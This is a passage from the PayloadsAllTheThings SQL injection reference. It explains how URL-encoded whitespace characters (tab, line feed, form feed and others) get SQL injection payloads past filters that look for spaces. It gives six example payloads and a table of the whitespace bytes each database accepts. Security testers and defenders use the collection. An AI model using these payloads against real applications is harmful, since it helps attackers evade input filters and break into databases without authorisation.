Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters. | Example Payload | Description | | ------------------------ | ------------------------------- | | `?id=1%09and%091=1%09--` | `%09` is tab (`\t`) | | `?id=1%0Aand%0A1=1%0A--` | `%0A` is line feed (`\n`) | | `?id=1%0Band%0B1=1%0B--` | `%0B` is vertical tab | | `?id=1%0Cand%0C1=1%0C--` | `%0C` is form feed | | `?id=1%0Dand%0D1=1%0D--` | `%0D` is carriage return (`\r`) | | `?id=1%A0and%A01=1%A0--` | `%A0` is non-breaking space | **ASCII Whitespace Support by Database**: | DBMS | Supported Whitespace Characters (Hex) | | ---------- | ------------------------------------------------- | | SQLite3 | 0A, 0D, 0C, 09, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 3 | 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | | MSSQL | 01–1F, 20 |
Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.